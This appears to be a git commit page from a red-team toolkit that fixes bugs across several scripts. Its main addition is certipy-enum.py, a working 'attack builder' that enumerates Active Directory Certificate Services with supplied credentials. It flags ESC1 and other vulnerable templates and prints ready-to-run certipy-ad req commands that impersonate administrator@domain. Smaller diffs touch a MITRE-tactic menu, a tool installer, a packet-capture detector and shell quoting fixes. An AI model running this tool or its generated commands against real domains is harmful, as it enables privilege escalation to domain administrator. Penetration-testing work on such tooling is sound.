Fix 11 bugs found in full codebase review
- deploy_phishing.py: undefined extra_vars on orchestration playbook - freebird/main_menu.py: set_variable() called as function, is a method; fix to config.prompt_set_variable() - freebird/tool_manager.py: shell=True with f-string paths; replace with direct pip binary call - certipy-enum.py: password exposed in process list and logs; pass via env var - cleanup_engine.py: load_vars_file() called with path string, expects provider name - ioc-u.py: scapy import not guarded; tool crashed if scapy missing - um_ops.py + um-vault.py: SQL table names f-stringed directly; quote identifiers - ops-logger.sh: 63-line duplicate function block; removed second copy; quote config_script var - recon_tools.py: ir-sandbox + link-sandbox not in TOOLS dict; forensics menu option 5 hidden from user - um-crack.py: missing --scope flag inconsistent with all other Umbra tools - heartbeat_ingest.py: openssl subprocess not catching FileNotFoundError; wrap with clear error
This commit is contained in:
@@ -0,0 +1,353 @@
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
import re
|
||||
import sys
|
||||
import os
|
||||
import glob
|
||||
import json
|
||||
|
||||
# Ops hook (safe no-op if c2itall not available)
|
||||
try:
|
||||
sys.path.insert(0, os.path.expanduser("~/tools/c2itall"))
|
||||
from utils.ops_hook import OpsHook as _OpsHook
|
||||
except ImportError:
|
||||
_OpsHook = None
|
||||
|
||||
def run_command(cmd):
|
||||
"""Run a command and return its output"""
|
||||
try:
|
||||
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=60)
|
||||
return result.stdout, result.stderr, result.returncode
|
||||
except subprocess.TimeoutExpired:
|
||||
return "", "Command timed out", 1
|
||||
|
||||
def read_latest_certipy_files():
|
||||
"""Read the latest certipy output files"""
|
||||
txt_files = glob.glob("*_Certipy.txt")
|
||||
json_files = glob.glob("*_Certipy.json")
|
||||
|
||||
txt_content = ""
|
||||
json_content = {}
|
||||
|
||||
if txt_files:
|
||||
latest_txt = max(txt_files, key=os.path.getctime)
|
||||
try:
|
||||
with open(latest_txt, 'r', encoding='utf-8') as f:
|
||||
txt_content = f.read()
|
||||
except:
|
||||
txt_content = ""
|
||||
|
||||
if json_files:
|
||||
latest_json = max(json_files, key=os.path.getctime)
|
||||
try:
|
||||
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||
json_content = json.load(f)
|
||||
except Exception as e:
|
||||
print(f"[!] Error reading JSON: {e}")
|
||||
# Try reading as text and debugging
|
||||
try:
|
||||
with open(latest_json, 'r', encoding='utf-8') as f:
|
||||
raw_content = f.read()
|
||||
pass # raw content available for debugging if needed
|
||||
except:
|
||||
pass
|
||||
json_content = {}
|
||||
|
||||
return txt_content, json_content
|
||||
|
||||
def parse_cas_from_json(json_data):
|
||||
"""Extract CAs from JSON data - looking for CA Name field"""
|
||||
cas = []
|
||||
try:
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "CA Name" in ca_info:
|
||||
cas.append(ca_info["CA Name"])
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing CAs: {e}")
|
||||
return cas
|
||||
|
||||
def parse_templates_from_json(json_data):
|
||||
"""
|
||||
Extract templates and identify vulnerabilities:
|
||||
- ESC1: Enrollee Supplies Subject = True + Enabled + User can enroll
|
||||
- ESC2/ESC3: Look in [*] Remarks section
|
||||
- User Enrollable: Look for [+] User Enrollable Principals
|
||||
"""
|
||||
all_templates = []
|
||||
vulnerable_templates = []
|
||||
user_enrollable_templates = []
|
||||
esc1_templates = []
|
||||
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and "Template Name" in template_info:
|
||||
template_name = template_info["Template Name"]
|
||||
all_templates.append(template_name)
|
||||
|
||||
# Check if enabled
|
||||
is_enabled = template_info.get("Enabled", False)
|
||||
|
||||
# Check for ESC1: Enrollee Supplies Subject + enabled
|
||||
enrollee_supplies = template_info.get("Enrollee Supplies Subject", False)
|
||||
if enrollee_supplies and is_enabled:
|
||||
esc1_templates.append(template_name)
|
||||
vulnerable_templates.append(f"{template_name} (ESC1)")
|
||||
|
||||
# Check for vulnerabilities in [*] Remarks
|
||||
if "[*] Remarks" in template_info:
|
||||
remarks = template_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
if template_name not in [v.split(' ')[0] for v in vulnerable_templates]:
|
||||
vulnerable_templates.append(f"{template_name} ({remark_key.split()[0]})")
|
||||
|
||||
# Check for [+] User Enrollable Principals
|
||||
if "[+] User Enrollable Principals" in template_info:
|
||||
user_enrollable_templates.append(template_name)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing templates: {e}")
|
||||
|
||||
return all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates
|
||||
|
||||
def parse_targets_from_json(json_data):
|
||||
"""Extract CA DNS names for targeting"""
|
||||
targets = []
|
||||
try:
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "DNS Name" in ca_info:
|
||||
targets.append(ca_info["DNS Name"])
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing targets: {e}")
|
||||
return targets
|
||||
|
||||
def parse_esc_vulnerabilities(json_data):
|
||||
"""Extract ESC vulnerabilities from CA and template remarks"""
|
||||
esc_vulns = []
|
||||
try:
|
||||
# CA level ESC (like ESC8)
|
||||
if "Certificate Authorities" in json_data:
|
||||
ca_section = json_data["Certificate Authorities"]
|
||||
if isinstance(ca_section, dict):
|
||||
for key, ca_info in ca_section.items():
|
||||
if isinstance(ca_info, dict) and "[*] Remarks" in ca_info:
|
||||
remarks = ca_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
esc_vulns.append(remark_key)
|
||||
|
||||
# Template level ESC
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and "[*] Remarks" in template_info:
|
||||
remarks = template_info["[*] Remarks"]
|
||||
if isinstance(remarks, dict):
|
||||
for remark_key in remarks.keys():
|
||||
if "ESC" in str(remark_key):
|
||||
esc_vulns.append(remark_key)
|
||||
|
||||
except Exception as e:
|
||||
print(f"[!] Error parsing ESC vulnerabilities: {e}")
|
||||
|
||||
return list(set(esc_vulns))
|
||||
|
||||
def get_template_permissions(json_data, template_name):
|
||||
"""Get who can enroll in this template"""
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict) and template_info.get("Template Name") == template_name:
|
||||
# Look for enrollment rights
|
||||
permissions = template_info.get("Permissions", {})
|
||||
if isinstance(permissions, dict):
|
||||
enrollment_perms = permissions.get("Enrollment Permissions", {})
|
||||
if isinstance(enrollment_perms, dict):
|
||||
enrollment_rights = enrollment_perms.get("Enrollment Rights", [])
|
||||
return enrollment_rights if isinstance(enrollment_rights, list) else []
|
||||
except Exception as e:
|
||||
print(f"[!] Error getting permissions for {template_name}: {e}")
|
||||
return []
|
||||
|
||||
def get_enabled_templates(json_data):
|
||||
"""Get list of enabled templates"""
|
||||
enabled_templates = []
|
||||
try:
|
||||
if "Certificate Templates" in json_data:
|
||||
template_section = json_data["Certificate Templates"]
|
||||
if isinstance(template_section, dict):
|
||||
for template_key, template_info in template_section.items():
|
||||
if isinstance(template_info, dict):
|
||||
template_name = template_info.get("Template Name", "")
|
||||
is_enabled = template_info.get("Enabled", False)
|
||||
if is_enabled and template_name:
|
||||
enabled_templates.append(template_name)
|
||||
except Exception as e:
|
||||
print(f"[!] Error getting enabled templates: {e}")
|
||||
return enabled_templates
|
||||
|
||||
def main():
|
||||
# Ops hook
|
||||
_hook = _OpsHook("certipy-enum") if _OpsHook else None
|
||||
if _hook:
|
||||
_hook.register()
|
||||
|
||||
print("=" * 60)
|
||||
print("CERTIPY-AD CERTIFICATE ATTACK BUILDER v2.3")
|
||||
print("=" * 60)
|
||||
|
||||
# Get user input
|
||||
username = input("Enter username (user@domain.com): ")
|
||||
password = input("Enter password: ")
|
||||
dc_ip = input("Enter DC IP: ")
|
||||
|
||||
print("\n[*] Running certipy-ad enumeration...")
|
||||
|
||||
# Pass password via environment variable — keeps it out of process list and logs
|
||||
os.environ['_CERTIPY_PASS'] = password
|
||||
find_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip}"
|
||||
vuln_cmd = f"certipy-ad find -username {username} -password \"$_CERTIPY_PASS\" -dc-ip {dc_ip} -vulnerable"
|
||||
|
||||
# Run basic enumeration
|
||||
print("[*] Finding Certificate Authorities and basic info...")
|
||||
stdout, stderr, returncode = run_command(find_cmd)
|
||||
|
||||
if returncode != 0:
|
||||
os.environ.pop('_CERTIPY_PASS', None)
|
||||
print(f"[!] Error running certipy-ad find: {stderr}")
|
||||
return
|
||||
|
||||
# Run vulnerability scan
|
||||
print("[*] Scanning for vulnerable templates...")
|
||||
vuln_stdout, vuln_stderr, vuln_returncode = run_command(vuln_cmd)
|
||||
os.environ.pop('_CERTIPY_PASS', None)
|
||||
|
||||
# Read the saved files
|
||||
print("[*] Reading certipy output files...")
|
||||
txt_content, json_content = read_latest_certipy_files()
|
||||
|
||||
if not json_content:
|
||||
print("[!] No JSON data found. Check the certipy output files manually.")
|
||||
return
|
||||
|
||||
# Parse results from JSON
|
||||
cas = parse_cas_from_json(json_content)
|
||||
all_templates, vulnerable_templates, user_enrollable_templates, esc1_templates = parse_templates_from_json(json_content)
|
||||
targets = parse_targets_from_json(json_content)
|
||||
esc_vulns = parse_esc_vulnerabilities(json_content)
|
||||
enabled_templates = get_enabled_templates(json_content)
|
||||
|
||||
# Display results
|
||||
print("\n" + "=" * 60)
|
||||
print("ENUMERATION RESULTS")
|
||||
print("=" * 60)
|
||||
|
||||
print(f"\n[+] CERTIFICATE AUTHORITIES ({len(cas)} found):")
|
||||
for i, ca in enumerate(cas, 1):
|
||||
print(f" {i}. {ca}")
|
||||
|
||||
print(f"\n[+] CA TARGETS/DNS NAMES ({len(targets)} found):")
|
||||
for i, target in enumerate(targets, 1):
|
||||
print(f" {i}. {target}")
|
||||
|
||||
print(f"\n[+] ESC VULNERABILITIES FOUND ({len(esc_vulns)} found):")
|
||||
for esc in esc_vulns:
|
||||
print(f" - {esc}")
|
||||
|
||||
print(f"\n[+] VULNERABLE TEMPLATES ({len(vulnerable_templates)} found):")
|
||||
for i, template in enumerate(vulnerable_templates, 1):
|
||||
print(f" {i}. {template}")
|
||||
|
||||
print(f"\n[+] USER ENROLLABLE TEMPLATES ({len(user_enrollable_templates)} found):")
|
||||
for i, template in enumerate(user_enrollable_templates, 1):
|
||||
permissions = get_template_permissions(json_content, template)
|
||||
perms_str = ', '.join(permissions) if permissions else "Check manually"
|
||||
print(f" {i}. {template} -> {perms_str}")
|
||||
|
||||
print(f"\n[+] ESC1 TEMPLATES (Enrollee Supplies Subject) ({len(esc1_templates)} found):")
|
||||
for i, template in enumerate(esc1_templates, 1):
|
||||
print(f" {i}. {template}")
|
||||
|
||||
print(f"\n[+] ENABLED TEMPLATES ({len(enabled_templates)} found):")
|
||||
for i, template in enumerate(enabled_templates[:10], 1):
|
||||
print(f" {i}. {template}")
|
||||
if len(enabled_templates) > 10:
|
||||
print(f" ... and {len(enabled_templates) - 10} more enabled templates")
|
||||
|
||||
# Build attack commands
|
||||
if cas and targets:
|
||||
domain = username.split('@')[1] if '@' in username else 'company.com'
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print("RECOMMENDED ATTACK COMMANDS")
|
||||
print("=" * 60)
|
||||
|
||||
ca_name = cas[0]
|
||||
target_name = targets[0]
|
||||
|
||||
# Priority: ESC1 templates, then user enrollable, then common enabled ones
|
||||
priority_templates = []
|
||||
|
||||
# Add ESC1 templates first (highest priority)
|
||||
for template in esc1_templates:
|
||||
if template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Add user enrollable templates
|
||||
for template in user_enrollable_templates:
|
||||
if template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Add common templates if they're enabled
|
||||
common_templates = ["User", "Machine", "WebServer", "AutoenrolledUser"]
|
||||
for template in common_templates:
|
||||
if template in enabled_templates and template not in priority_templates:
|
||||
priority_templates.append(template)
|
||||
|
||||
# Limit to top 5
|
||||
priority_templates = priority_templates[:5]
|
||||
|
||||
if not priority_templates:
|
||||
priority_templates = enabled_templates[:3]
|
||||
|
||||
print(f"\n[*] Using CA: {ca_name}")
|
||||
print(f"[*] Using Target: {target_name}")
|
||||
print(f"[*] Domain Controller: Use {dc_ip} for authentication after getting certificate")
|
||||
|
||||
for i, template in enumerate(priority_templates, 1):
|
||||
permissions = get_template_permissions(json_content, template)
|
||||
print(f"\n[{i}] Template: {template}")
|
||||
if permissions:
|
||||
print(f" Permissions: {', '.join(permissions)}")
|
||||
else:
|
||||
print(f" Permissions: Check manually")
|
||||
|
||||
cmd = f"certipy-ad req -username {username} -password '{password}' -ca '{ca_name}' -target {target_name} -template '{template}' -upn administrator@{domain}"
|
||||
print(f" Command: {cmd}")
|
||||
|
||||
print(f"\n[*] Output files created:")
|
||||
txt_files = glob.glob("*_Certipy.txt")
|
||||
json_files = glob.glob("*_Certipy.json")
|
||||
for f in sorted(txt_files[-2:] + json_files[-2:]):
|
||||
print(f" - {f}")
|
||||
|
||||
else:
|
||||
print("\n[!] Insufficient data found for building attack commands.")
|
||||
print(" Try running the commands manually with known templates.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,53 @@
|
||||
# core/main_menu.py
|
||||
|
||||
from InquirerPy import inquirer
|
||||
from core.utils import clear_screen
|
||||
from core.config import config
|
||||
from framework.reconnaissance.reconnaissance_menu import reconnaissance_menu # Corrected path for Reconnaissance Menu
|
||||
|
||||
# Main Menu Function
|
||||
def main_menu():
|
||||
while True:
|
||||
clear_screen() # Clear screen before displaying the main menu
|
||||
selection = inquirer.select(
|
||||
message="Select a Tactic:",
|
||||
choices=[
|
||||
"Reconnaissance",
|
||||
"Initial Access",
|
||||
"Execution",
|
||||
"Persistence",
|
||||
"Privilege Escalation",
|
||||
"Defense Evasion",
|
||||
"Credential Access",
|
||||
"Discovery",
|
||||
"Lateral Movement",
|
||||
"Collection",
|
||||
"Command and Control",
|
||||
"Exfiltration",
|
||||
"Impact",
|
||||
"Resource Development",
|
||||
"Set Global Variable",
|
||||
"Show Global Variables",
|
||||
"Exit",
|
||||
],
|
||||
qmark="", # Remove question mark
|
||||
pointer="👾" # Customize the pointer
|
||||
).execute()
|
||||
|
||||
# Call relevant function based on user selection
|
||||
if selection == "Exit":
|
||||
print("Exiting...")
|
||||
break
|
||||
elif selection == "Set Global Variable":
|
||||
config.prompt_set_variable()
|
||||
elif selection == "Show Global Variables":
|
||||
config.show_variables()
|
||||
elif selection == "Reconnaissance":
|
||||
reconnaissance_menu() # Navigate to Reconnaissance Menu
|
||||
else:
|
||||
# Handle options under construction
|
||||
print("This feature is under construction. Returning to the main menu...")
|
||||
input("Press Enter to continue...")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main_menu()
|
||||
@@ -0,0 +1,121 @@
|
||||
import os
|
||||
import subprocess
|
||||
import argparse
|
||||
|
||||
TOOLS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), '../tools/') # Directory where all tools will be installed
|
||||
|
||||
def install_tool(tool_name, repo_url):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if os.path.exists(tool_path):
|
||||
print(f"{tool_name} is already installed.")
|
||||
return
|
||||
|
||||
# Clone the repository
|
||||
print(f"Cloning {repo_url}...")
|
||||
subprocess.run(['git', 'clone', repo_url, tool_path], check=True)
|
||||
|
||||
# Set up a virtual environment if necessary
|
||||
venv_path = os.path.join(tool_path, 'venv')
|
||||
print(f"Setting up virtual environment for {tool_name}...")
|
||||
subprocess.run(['python3', '-m', 'venv', venv_path], check=True)
|
||||
|
||||
# Activate virtual environment and install dependencies
|
||||
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_file):
|
||||
print(f"Installing dependencies for {tool_name}...")
|
||||
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||
|
||||
print(f"{tool_name} installed successfully.")
|
||||
|
||||
def install_tools_list(tools_list):
|
||||
for tool_name, repo_url in tools_list:
|
||||
install_tool(tool_name, repo_url)
|
||||
|
||||
def update_tool(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if not os.path.exists(tool_path):
|
||||
print(f"{tool_name} is not installed.")
|
||||
return
|
||||
|
||||
# Pull the latest changes
|
||||
print(f"Updating {tool_name}...")
|
||||
subprocess.run(['git', '-C', tool_path, 'pull'], check=True)
|
||||
|
||||
# Update dependencies if necessary
|
||||
venv_path = os.path.join(tool_path, 'venv')
|
||||
requirements_file = os.path.join(tool_path, 'requirements.txt')
|
||||
if os.path.exists(requirements_file):
|
||||
print(f"Updating dependencies for {tool_name}...")
|
||||
pip_bin = os.path.join(venv_path, 'bin', 'pip')
|
||||
subprocess.run([pip_bin, 'install', '-r', requirements_file], check=True)
|
||||
|
||||
print(f"{tool_name} updated successfully.")
|
||||
|
||||
def remove_tool(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if not os.path.exists(tool_path):
|
||||
print(f"{tool_name} is not installed.")
|
||||
return
|
||||
|
||||
# Remove the tool directory
|
||||
print(f"Removing {tool_name}...")
|
||||
subprocess.run(['rm', '-rf', tool_path], check=True)
|
||||
print(f"{tool_name} removed successfully.")
|
||||
|
||||
def show_status(tool_name):
|
||||
tool_path = os.path.join(TOOLS_DIR, tool_name)
|
||||
|
||||
if os.path.exists(tool_path):
|
||||
print(f"{tool_name} is installed.")
|
||||
else:
|
||||
print(f"{tool_name} is not installed.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser(description='Tool Manager for Freebird Framework')
|
||||
subparsers = parser.add_subparsers(dest='command', help='Subcommands')
|
||||
|
||||
# Install command
|
||||
install_parser = subparsers.add_parser('install', help='Install a tool')
|
||||
install_parser.add_argument('tool_name', help='Name of the tool to install')
|
||||
install_parser.add_argument('repo_url', help='Git repository URL of the tool')
|
||||
|
||||
# Install multiple tools
|
||||
install_list_parser = subparsers.add_parser('install-list', help='Install a list of tools')
|
||||
install_list_parser.add_argument('file', help='Path to a file containing the list of tools and their repositories')
|
||||
|
||||
# Update command
|
||||
update_parser = subparsers.add_parser('update', help='Update a tool')
|
||||
update_parser.add_argument('tool_name', help='Name of the tool to update')
|
||||
|
||||
# Remove command
|
||||
remove_parser = subparsers.add_parser('remove', help='Remove a tool')
|
||||
remove_parser.add_argument('tool_name', help='Name of the tool to remove')
|
||||
|
||||
# Status command
|
||||
status_parser = subparsers.add_parser('status', help='Show the status of a tool')
|
||||
status_parser.add_argument('tool_name', help='Name of the tool')
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
if args.command == 'install':
|
||||
install_tool(args.tool_name, args.repo_url)
|
||||
elif args.command == 'install-list':
|
||||
# Read the file to get a list of tools to install
|
||||
tools = []
|
||||
with open(args.file, 'r') as f:
|
||||
for line in f:
|
||||
name, url = line.strip().split(',')
|
||||
tools.append((name.strip(), url.strip()))
|
||||
install_tools_list(tools)
|
||||
elif args.command == 'update':
|
||||
update_tool(args.tool_name)
|
||||
elif args.command == 'remove':
|
||||
remove_tool(args.tool_name)
|
||||
elif args.command == 'status':
|
||||
show_status(args.tool_name)
|
||||
else:
|
||||
parser.print_help()
|
||||
@@ -27,7 +27,12 @@ import hashlib
|
||||
import struct
|
||||
import base64
|
||||
from datetime import datetime, timedelta
|
||||
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
|
||||
try:
|
||||
from scapy.all import sniff, IP, TCP, UDP, Raw, get_if_list, DNS, DNSQR, DNSRR
|
||||
SCAPY_AVAILABLE = True
|
||||
except ImportError:
|
||||
SCAPY_AVAILABLE = False
|
||||
print("⚠️ Warning: scapy not available. Install with: pip install scapy")
|
||||
from collections import defaultdict, deque, Counter
|
||||
from typing import Dict, List, Tuple, Optional, Set, Any
|
||||
|
||||
@@ -1373,7 +1378,11 @@ class EnhancedBlueTeamDetector:
|
||||
"""Select network interface"""
|
||||
if self.config["interface"] != "auto":
|
||||
return self.config["interface"]
|
||||
|
||||
|
||||
if not SCAPY_AVAILABLE:
|
||||
logging.error("scapy not installed — cannot list interfaces")
|
||||
return "eth0"
|
||||
|
||||
interfaces = get_if_list()
|
||||
preferred = ['eth0', 'ens33', 'ens192', 'ens160', 'enp0s3', 'wlan0']
|
||||
|
||||
@@ -1469,10 +1478,14 @@ class EnhancedBlueTeamDetector:
|
||||
|
||||
def run(self):
|
||||
"""Main detection loop"""
|
||||
if not SCAPY_AVAILABLE:
|
||||
print("❌ scapy is required for packet capture. Install with: pip install scapy")
|
||||
return
|
||||
|
||||
# Signal handlers
|
||||
signal.signal(signal.SIGTERM, self.cleanup)
|
||||
signal.signal(signal.SIGINT, self.cleanup)
|
||||
|
||||
|
||||
# Get interface
|
||||
interface = self.get_network_interface()
|
||||
|
||||
|
||||
@@ -926,69 +926,6 @@ clear_window_indicators() {
|
||||
fi
|
||||
}
|
||||
|
||||
# ================================================================
|
||||
# OHMYTMUX-COMPATIBLE WINDOW NAME MANAGEMENT
|
||||
# ================================================================
|
||||
|
||||
# Improved window name handling that works with ohmytmux
|
||||
get_current_window_name() {
|
||||
local tmux_pane_ref="$1"
|
||||
local name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
|
||||
|
||||
# Remove our indicators as well as any ohmytmux status indicators
|
||||
name="${name#🔴 }"
|
||||
name="${name#🎥 }"
|
||||
name="${name#● }"
|
||||
name="${name#⚠ }"
|
||||
name="${name#▶ }"
|
||||
|
||||
echo "$name"
|
||||
}
|
||||
|
||||
set_window_logging_indicator() {
|
||||
local tmux_pane_ref="$1"
|
||||
local current_name=$(get_current_window_name "$tmux_pane_ref")
|
||||
|
||||
# Preserve ohmytmux automatic formats but add our indicator
|
||||
if [[ "$current_name" == *Z ]]; then
|
||||
# Zoomed window format in ohmytmux
|
||||
tmux rename-window -t "$tmux_pane_ref" "🔴 ${current_name%Z}Z"
|
||||
else
|
||||
tmux rename-window -t "$tmux_pane_ref" "🔴 $current_name"
|
||||
fi
|
||||
}
|
||||
|
||||
set_window_recording_indicator() {
|
||||
local tmux_pane_ref="$1"
|
||||
local current_name=$(get_current_window_name "$tmux_pane_ref")
|
||||
|
||||
# Remove logging indicator if present and add recording
|
||||
current_name="${current_name#🔴 }"
|
||||
|
||||
# Preserve ohmytmux automatic formats
|
||||
if [[ "$current_name" == *Z ]]; then
|
||||
# Zoomed window format in ohmytmux
|
||||
tmux rename-window -t "$tmux_pane_ref" "🎥 ${current_name%Z}Z"
|
||||
else
|
||||
tmux rename-window -t "$tmux_pane_ref" "🎥 $current_name"
|
||||
fi
|
||||
}
|
||||
|
||||
clear_window_indicators() {
|
||||
local tmux_pane_ref="$1"
|
||||
local current_name=$(tmux display -t "$tmux_pane_ref" -p '#{window_name}')
|
||||
local clean_name=$(get_current_window_name "$tmux_pane_ref")
|
||||
|
||||
# Preserve any ohmytmux indicators that might be present
|
||||
if [[ "$current_name" == *Z ]]; then
|
||||
# Zoomed window format in ohmytmux
|
||||
tmux rename-window -t "$tmux_pane_ref" "${clean_name}Z"
|
||||
else
|
||||
tmux rename-window -t "$tmux_pane_ref" "$clean_name"
|
||||
fi
|
||||
}
|
||||
|
||||
# ================================================================
|
||||
# MAIN LOGGING FUNCTIONS
|
||||
# ================================================================
|
||||
|
||||
@@ -1279,7 +1216,7 @@ EOSCRIPT
|
||||
chmod +x "$config_script"
|
||||
|
||||
# Open new window for config
|
||||
bash $config_script; rm -f $config_script
|
||||
bash "$config_script"; rm -f "$config_script"
|
||||
return 0
|
||||
fi
|
||||
|
||||
|
||||
Reference in New Issue
Block a user